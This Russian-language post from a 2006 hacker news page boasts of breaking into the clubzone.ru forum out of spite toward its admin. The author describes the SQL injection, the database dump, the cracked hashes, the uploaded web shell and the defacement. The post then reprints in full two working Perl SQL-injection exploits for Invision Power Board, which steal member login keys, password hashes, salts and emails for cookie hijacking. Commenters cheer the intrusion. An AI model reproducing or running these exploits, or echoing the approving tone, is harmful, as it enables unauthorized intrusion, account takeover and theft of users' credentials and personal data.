Новости сайта
Главная страница » 2006 » Август » 30 » Взломан Clubzone.ru через багу в IPB 2.1.6 sql

Взломан Clubzone.ru через багу в IPB 2.1.6 sql
Вчера так и похакал ненависный форум я уже давно наметил зуб на этот сайт из=за админа, т.е. он меня посылал п страшному на нашем чате.
Дело было следующее полазив по сайту увидел линк на форум , ну думаю счас типа пхпбб какой-нить бажный. Не тут-то было увидел данное IPB 2.1.6 и тут же вспомнил про новый сплоит от rush.
Сплоит работал исправно, но не до конца создаля админа, но меня не пускали на форум с созданными аккуантами, вот беда. Тут забзал другой сплоит под данную борду от drivera, которая просто дампит базу с форума. Сдампил я вообщем и отдал на растерзание парням, у еня проблемы с расшиффровкой хэшей с солью. Крч получил я заветный акк и в конце-концов залил долгожданный шелл. Права как всегда были на максимум, кроме пару тройку файлов, но поюзав chmod +777 *.php. все у меня вышло. Сайтец ничего вообщем-то, дизайн нормальный. Вообщем я решил тока дефейс сделать и оставить. Крч вот сцыла на зеркало
http://file-hran2006.narod.ru/clubzone_def.JPG
Уже вечером отдав сцылу админу его это повеселило.. хз, типа он дуамл, что его сайт не преступен.
СПЛОИТ ОТ RST:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#!/usr/bin/perl
use IO::Socket;

# # # #
# # # #
# # # #
# ## #### ## #
## ## ###### ## ##
## ## ###### ## ##
## ## #### ## ##
### ############ ###
########################
##############
######## ########## #######
### ## ########## ## ###
### ## ########## ## ###
### # ########## # ###
### ## ######## ## ###
## # ###### # ##
## # #### # ##
## ##

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## Republish by SecurityLab.ru
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>] DIR: /IPB202/
## [>] FORUM: 2
## [>] TOPIC: 1
## [>] SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>] ID:
## ------------------------------------------------------------------------------------------------
##
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
##
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля.
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (@ARGV < 5)
{
print "-------------------------------------------------------------------------\r\n";
print " Invision Power Board v2.0.0 - 2.0.2 sql injection exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "usage:\r\n";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]\r\n\r\n";
print "SERVER - server where IPB installed\r\n";
print "/DIR/ - IPB directory or / for no directory\r\n";
print "FORUM_NUM - number of existing forum\r\n";
print "TOPIC_NUM - number of existing topic\r\n";
print "SID - your session id\r\n";
print "[TABLE_PREFIX] - table prefix in database\r\n";
print "[USER_ID] - user id for exploiting\r\n\r\n";
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_\r\n";
print "-------------------------------------------------------------------------\r\n";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir = $ARGV[1];
$fnum = $ARGV[2];
$tnum = $ARGV[3];
$sid = $ARGV[4];
$prefix = $ARGV[5];
$id = $ARGV[6];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>] DIR: $dir\r\n";
print "[>] FORUM: $fnum\r\n";
print "[>] TOPIC: $tnum\r\n";
print "[>] SID: $sid\r\n";
print "[>] PREFIX: $prefix\r\n";
print "[>] ID: $id\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1)
{
$path .= "&qpid=r57"
}
else
{
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
}
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";

$suc =0;

if ($get_table == 1)
{
while ($answer = <$socket>)
{
if ($answer =~ /(mySQL query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4\r\n"; $suc = 1; }
}
if (!$suc) { print "Exploit failed\r\n"; }
exit();
}

print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{
if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: [$3]\r\n"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------\r\n";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.\r\n"; exit(); }
else { print "Exploit failed\r\n"; }
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
СПЛОИТ ОТ Driver:
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;

getopts("p:i:P:f:t:");

$path = $opt_p;
$from = $opt_f;
$to = $opt_t;
$prefix = $opt_P || 'ibf_';

$|++;

if(!$path || !$from || !$to || ($from > $to)) { &usage; }
&head();
print "TEST FORUM ...";
if(get_info($prefix,$id,0) == 1) { print " FORUM VULNERABLE\n"; }
else { print " FORUM UNVULNERABLE\n"; exit(); }

open(RES,">result.txt");

for($i=$from;$i<$to;$i++) { get_info($prefix,$i,1); }

sub get_info($$$)
{
$xpl = LWP::UserAgent->new( ) or die;
$rep = '';
if($_[2] == 1)
{

$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT name,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if(length($rep)!=32) { print "$_[1])\nName: $rep\n"; print RES "$_[1])\nName: $rep\n"; }
else { print ""; }
$name = $rep;

$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT member_login_key,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.{32})"/) { $rep = $3; }
if(length($name)==32) { print ""; }
else { print "Login Key: $rep\n"; print RES "Login Key: $rep\n"; }

$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_hash,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if(length($name)==32) { print ""; }
else { print "Pass Hash: $rep\n"; print RES "Pass Hash: $rep\n"; }

$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT converge_pass_salt,1,1,1 FROM ${_[0]}members_converge WHERE converge_id=$_[1]/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if(length($rep)!=32) { print "Pass Salt: $rep\n"; print RES "Pass Salt: $rep\n"; }
else { print ""; }

$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT email,1,1,1 FROM ${_[0]}members WHERE id=$_[1]/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if(length($rep)!=32) { print "E-Mail: $rep\n\n"; print RES "E-Mail: $rep\n\n ****** \n\n"; }
else { print ""; }
}
elsif($_[2] == 0)
{
$res = $xpl->get($path."?s=1",'USER_AGENT'=>'','CLIENT_IP'=>"' UNION SELECT 'VULN',1,1,1/**");
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
if($rep eq 'VULN') { return 1; }
else { return 0; }
}
}

sub usage()
{
&head();
print "| Usage: |\n";
print "| .pl -p [path] -f [u_id] -t [u_id] |\n";
print "| -p [path] ~ path to index.php |\n";
print "| -f [num] ~ get data from this id |\n";
print "| -t [num] ~ get data to this id |\n";
print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
exit();
}

sub head()
{
print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
print "| IPB <= 2.1.6 Users Dumper |\n";
print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
print "| Based on RST IPB <= 2.1.6 Mail Sploit |\n";
print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
print "| Modified by Driver |\n";
print "+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+\n";
}
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Просмотров: 2678 | Добавил: dozzer | Рейтинг: 5.0 |
Комментарии
Всего комментариев: 5
5 kissmyass  
0
Мне бы кто предложил работу =( =)
Ты в асе когда бываешь ?
Чё то не могу тебя застать =)

4 Sn@k3  
0
Я хотел вообще снести всё, но передумал кстати там осталась моя картинка в галерее, вместо кого-то пихнул гы) так что считай дефейс отсался =) а так сайтец ничего. Мне админ предложил после взлома программером на него работать, я отказался, счс универ и времени нет.
http://clubzone.ru/images/gallery/0034/stereo-electroshik-004.jpg

3 kissmyass  
0
кстате где форум ?

2 kissmyass  
0
От дривера прикольней сплоит ... Мне он больше нравится

1 kissmyass  
0
Прикольный взлом =)
P.S. Нужно с каждого взлома брать максимум ... Хотя ты наверное так и сделал

Имя *:
Email *:
Код *: